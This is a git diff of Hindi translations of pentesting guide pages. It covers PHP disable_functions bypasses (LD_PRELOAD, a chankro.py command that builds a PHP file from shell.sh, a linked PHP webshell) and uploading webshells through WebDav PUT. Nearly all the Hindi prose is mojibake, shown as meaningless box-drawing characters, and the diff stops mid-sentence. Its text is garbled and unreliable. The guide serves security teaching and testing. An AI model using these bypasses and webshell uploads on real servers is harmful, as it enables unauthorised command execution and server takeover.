1 рдХреЛ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ рдордирдорд╛рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдмрд╕ рдЗрд╕ рдкреГрд╖реНрда рдХреЗ рд╢реБрд░реВ рдореЗрдВ рд▓реМрдЯреЗрдВ рдФрд░ **рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рднреА рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА рдлрд╝рдВрдХреНрд╢рди рдирд┐рд╖реНрдХреНрд░рд┐рдп рдирд╣реАрдВ рд╣реИ рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╣реИ**ред рдпрджрд┐ рдЖрдк рдЙрдирдореЗрдВ рд╕реЗ рдХреЗрд╡рд▓ 1 рдХреЛ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ рдордирдорд╛рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### LD_PRELOAD bypass -рдпрд╣ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рдЬреНрдЮрд╛рдд рд╣реИ рдХрд┐ PHP рдореЗрдВ рдХреБрдЫ рдлрд╝рдВрдХреНрд╢рди рдЬреИрд╕реЗ `mail()` **рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВ**ред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЙрдиреНрд╣реЗрдВ `LD_PRELOAD` рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдордирдорд╛рдиреА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдб рдХрд░реЗрдВред +рдпрд╣ рдЬреНрдЮрд╛рдд рд╣реИ рдХрд┐ PHP рдореЗрдВ рдХреБрдЫ рдлрд╝рдВрдХреНрд╢рди рдЬреИрд╕реЗ `mail()` рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ **рдмрд╛рдЗрдирд░реАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдЙрдиреНрд╣реЗрдВ `LD_PRELOAD` рдкрд░реНрдпрд╛рд╡рд░рдг рдЪрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╡реЗ рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдордирдорд╛рдиреА рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд▓реЛрдб рдХрд░реЗрдВред #### Functions that can be used to bypass disable_functions with LD_PRELOAD @@ -506,7 +506,7 @@ echo $client->request($params, $code)."\n"; - **`gnupg_init`**: `php-gnupg` рдореЙрдбреНрдпреВрд▓ рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрдиреЗ рдкрд░ рдЙрдкрдпреЛрдЧреАред - **`new imagick()`**: рдЗрд╕ рдХреНрд▓рд╛рд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╡рд┐рд╕реНрддреГрдд рд╢реЛрд╖рдг рддрдХрдиреАрдХреЗрдВ рдПрдХ рд╡реНрдпрд╛рдкрдХ [**writeup here**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) рдореЗрдВ рдкрд╛рдИ рдЬрд╛ рд╕рдХрддреА рд╣реИрдВред -рдЖрдк [**рдпрд╣рд╛рдВ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) рд╡рд╣ рдлрдЬрд╝рд┐рдВрдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЬреЛ рдЙрди рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЧрдИ рдереАред +рдЖрдк [**find here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) рдЙрд╕ рдлрдЬрд╝рд┐рдВрдЧ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдпрд╣рд╛рдВ рдПрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк `LD_PRELOAD` env рдЪрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```php @@ -551,13 +551,13 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **PHP** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **рдлрд╛рдЗрд▓реЗрдВ рдкрдврд╝ рдФрд░ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ**ред\ рдЖрдк рдпрд╣рд╛рдВ рддрдХ рдХрд┐ **рдбреЗрдЯрд╛рдмреЗрд╕ рдбрдВрдк** рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ -рд╢рд╛рдпрдж **PHP** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреЙрдХреНрд╕ рдХреЛ **enumerate** рдХрд░рддреЗ рд╕рдордп рдЖрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ/рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдирд┐рдЬреА ssh рдХреБрдВрдЬреА рдкрдврд╝рдирд╛)ред +рд╢рд╛рдпрдж **PHP** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **enumerate** рдХрд░рдиреЗ рдкрд░ рдЖрдк рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ/рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдирд┐рдЬреА ssh рдХреБрдВрдЬреА рдкрдврд╝рдирд╛)ред рдореИрдВрдиреЗ рдПрдХ рд╡реЗрдмрд╢реЗрд▓ рдмрдирд╛рдпрд╛ рд╣реИ рдЬреЛ рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХрд░рдирд╛ рдмрд╣реБрдд рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИ (рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдзрд┐рдХрд╛рдВрд╢ рд╡реЗрдмрд╢реЗрд▓ рдЖрдкрдХреЛ рдпреЗ рд╡рд┐рдХрд▓реНрдк рднреА рдкреНрд░рджрд╛рди рдХрд░реЗрдВрдЧреЗ): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) -### рдореЙрдбреНрдпреВрд▓/рд╕рдВрд╕реНрдХрд░рдг рдирд┐рд░реНрднрд░ рдмрд╛рдпрдкрд╛рд╕ +### рдореЙрдбреНрдпреВрд▓/рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдирд┐рд░реНрднрд░ рдмрд╛рдпрдкрд╛рд╕ -рдпрджрд┐ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдХреБрдЫ рд╡рд┐рд╢рд┐рд╖реНрдЯ PHP рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ disable_functions рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рд╣реИрдВ: +рдпрджрд┐ рдХреЛрдИ рд╡рд┐рд╢реЗрд╖ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рдпрд╛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ PHP рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ disable_functions рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдХрдИ рддрд░реАрдХреЗ рд╣реИрдВ: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) - [**FFI рдХреЗ рд╕рд╛рде рдмрд╛рдпрдкрд╛рд╕ - рд╡рд┐рджреЗрд╢реА рдлрд╝рдВрдХреНрд╢рди рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╕рдХреНрд╖рдо**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) @@ -635,7 +635,7 @@ python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` ### рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ -рдЗрдирдореЗрдВ рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓реНрд╕ рд╕рд┐рдВрдХ рдирд╣реАрдВ рд╣реИрдВред рд▓реЗрдХрд┐рди рдпрджрд┐ рд▓реМрдЯрд╛рдП рдЧрдП рдбреЗрдЯрд╛ рдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдбреЗрдЯрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рджреГрд╢реНрдп рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдХрдордЬреЛрд░ рдмрд┐рдВрджреБ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ phpinfo() рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рдХрдордЬреЛрд░ рдмрд┐рдВрджреБ рд╣реИред +рдЗрдирдореЗрдВ рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓реНрд╕ рд╕рд┐рдВрдЧреНрдХ рдирд╣реАрдВ рд╣реИрдВред рд▓реЗрдХрд┐рди рдпрджрд┐ рд▓реМрдЯрд╛рдП рдЧрдП рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рд╣реЛ рд╕рдХрддреА рд╣реИред рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ phpinfo() рджреЗрдЦ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рдПрдХ рдХрдордЬреЛрд░реА рд╣реИред ```php phpinfo posix_mkfifo @@ -675,11 +675,11 @@ posix_setpgid posix_setsid posix_setuid ``` -### рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдлрд╝рдВрдХреНрд╢рди +### Filesystem Functions -RATS рдХреЗ рдЕрдиреБрд╕рд╛рд░, php рдореЗрдВ рд╕рднреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдлрд╝рдВрдХреНрд╢рди рдЦрд░рд╛рдм рд╣реИрдВред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд▓рдЧрддреЗред рдЕрдиреНрдп рдЖрдкрдХреА рд╕реЛрдЪ рд╕реЗ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ allow_url_fopen=On рд╣реИ, рддреЛ рдПрдХ URL рдХреЛ рдлрд╝рд╛рдЗрд▓ рдкрде рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП copy($\_GET\['s'], $\_GET\['d']); рдХрд╛ рдХреЙрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд╣реАрдВ рднреА рдПрдХ PHP рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдПрдХ рд╕рд╛рдЗрдЯ GET рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдЕрдиреБрд░реЛрдз рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ, рддреЛ рдЙрди рд╕рднреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рд╣рдорд▓реЗ рдХреЛ рджреВрд╕рд░реЗ рд╣реЛрд╕реНрдЯ рдкрд░ рдЪреИрдирд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +RATS рдХреЗ рдЕрдиреБрд╕рд╛рд░, php рдореЗрдВ рд╕рднреА рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдЦрд░рд╛рдм рд╣реИрдВред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд▓рдЧрддреЗред рдЕрдиреНрдп рдЖрдкрдХреА рд╕реЛрдЪ рд╕реЗ рдЕрдзрд┐рдХ рдЙрдкрдпреЛрдЧреА рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ allow_url_fopen=On рд╣реИ, рддреЛ рдПрдХ URL рдХреЛ рдлрд╝рд╛рдЗрд▓ рдкрде рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП copy($\_GET\['s'], $\_GET\['d']); рдХрд╛ рдХреЙрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХрд╣реАрдВ рднреА рдПрдХ PHP рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдПрдХ рд╕рд╛рдЗрдЯ GET рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдЕрдиреБрд░реЛрдз рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ, рддреЛ рдЙрди рд╕рднреА рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЖрдкрдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА рдЕрдиреНрдп рд╣реЛрд╕реНрдЯ рдкрд░ рдПрдХ рд╣рдорд▓реЗ рдХреЛ рдЪреИрдирд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред -**рдУрдкрди рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рд╣реИрдВрдбрд▓рд░** +**Open filesystem handler** ```php fopen tmpfile @@ -687,7 +687,7 @@ bzopen gzopen SplFileObject->__construct ``` -**рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд▓рд┐рдЦреЗрдВ (рдкрдврд╝рдиреЗ рдХреЗ рд╕рд╛рде рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ рд╕рдВрдпреЛрдЬрди рдореЗрдВ)** +**рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд▓рд┐рдЦреЗрдВ (рдкрдврд╝рдиреЗ рдХреЗ рд╕рд╛рде рдЖрдВрд╢рд┐рдХ рд░реВрдк рд╕реЗ рд╕рдВрдпреЛрдЬрди рдореЗрдВ)** ```php chgrp chmod diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 856806491..e1ee69018 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,26 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -рдЬрдм **WebDav** рд╕рдХреНрд╖рдо **HTTP рд╕рд░реНрд╡рд░** рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕рд╣реА **рдкреНрд░рдорд╛рдг рдкрддреНрд░** рд╣реИрдВ, рддреЛ рдЖрдк **рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЖрдорддреМрд░ рдкрд░ **HTTP рдмреЗрд╕рд┐рдХ рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдРрд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЕрдХреНрд╕рд░ **рд╡реЗрдмрд╢реЗрд▓ рдХреЗ рдЕрдкрд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред +рдЬрдм **HTTP рд╕рд░реНрд╡рд░ рдЬрд┐рд╕рдореЗрдВ WebDav** рд╕рдХреНрд╖рдо рд╣реИ, рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕рд╣реА **рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рд╣реИрдВ, рддреЛ **рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛** рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ рдЖрдорддреМрд░ рдкрд░ **HTTP рдмреЗрд╕рд┐рдХ рдСрдереЗрдВрдЯрд┐рдХреЗрд╢рди** рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рд╣реЛрддреЗ рд╣реИрдВред рдРрд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдЕрдХреНрд╕рд░ **рд╡реЗрдмрд╢реЗрд▓ рдХреЗ рдЕрдкрд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИред -WebDav рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ **рдорд╛рдиреНрдп рдкреНрд░рдорд╛рдг рдкрддреНрд░** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ [**WebDav рдмреНрд░реВрдЯрдлреЛрд░реНрд╕**](../../generic-hacking/brute-force.md#http-basic-auth) рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдзрд┐ рд╣реИред +WebDav рд╕рд░реНрд╡рд░ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдорддреМрд░ рдкрд░ **рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ [**WebDav рдмреНрд░реВрдЯрдлреЛрд░реНрд╕**](../../generic-hacking/brute-force.md#http-basic-auth) рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╡рд┐рдзрд┐ рд╣реИред рдлрд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдкрд░ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдкрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдЬреЛ рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ, рдЖрдк: - рдпрджрд┐ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдирд╣реАрдВ рд╣реИ рддреЛ **рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рд╡рд╛рд▓реА рдлрд╛рдЗрд▓реЗрдВ рд╕реАрдзреЗ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдВред - рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдЧреИрд░-рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╛рдЗрд▓реЛрдВ (рдЬреИрд╕реЗ .txt) рдХрд╛ рдирд╛рдо рдмрджрд▓рдХрд░ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдореЗрдВ рдмрджрд▓реЗрдВред -- рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдЧреИрд░-рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╛рдЗрд▓реЛрдВ рдХреА **рдХреЙрдкреА** рдХрд░реЗрдВ, рдЙрдирдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдореЗрдВ рдмрджрд▓рддреЗ рд╣реБрдПред +- рдЕрдкрд▓реЛрдб рдХреА рдЧрдИ рдЧреИрд░-рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╛рдЗрд▓реЛрдВ рдХреА **рдХреЙрдкреА** рдХрд░реЗрдВ, рдЙрдирдХреЗ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХреЛ рдПрдХ рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдореЗрдВ рдмрджрд▓рддреЗ рд╣реБрдПред ## DavTest -**Davtest** рдХрдИ **рд╡рд┐рднрд┐рдиреНрди рдПрдХреНрд╕рдЯреЗрдВрд╢рди** рд╡рд╛рд▓реА рдлрд╛рдЗрд▓реЛрдВ рдХреЛ **рдЕрдкрд▓реЛрдб** рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдФрд░ **рдЬрд╛рдВрдЪрддрд╛** рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди **рдирд┐рд╖реНрдкрд╛рджрд┐рдд** рд╣реЛрддрд╛ рд╣реИ: +**Davtest** рдХрдИ **рд╡рд┐рднрд┐рдиреНрди рдПрдХреНрд╕рдЯреЗрдВрд╢рдиреЛрдВ** рд╡рд╛рд▓реА рдлрд╛рдЗрд▓реЗрдВ **рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ** рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ рдФрд░ **рдЬрд╛рдВрдЪрддрд╛** рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХреНрд╕рдЯреЗрдВрд╢рди 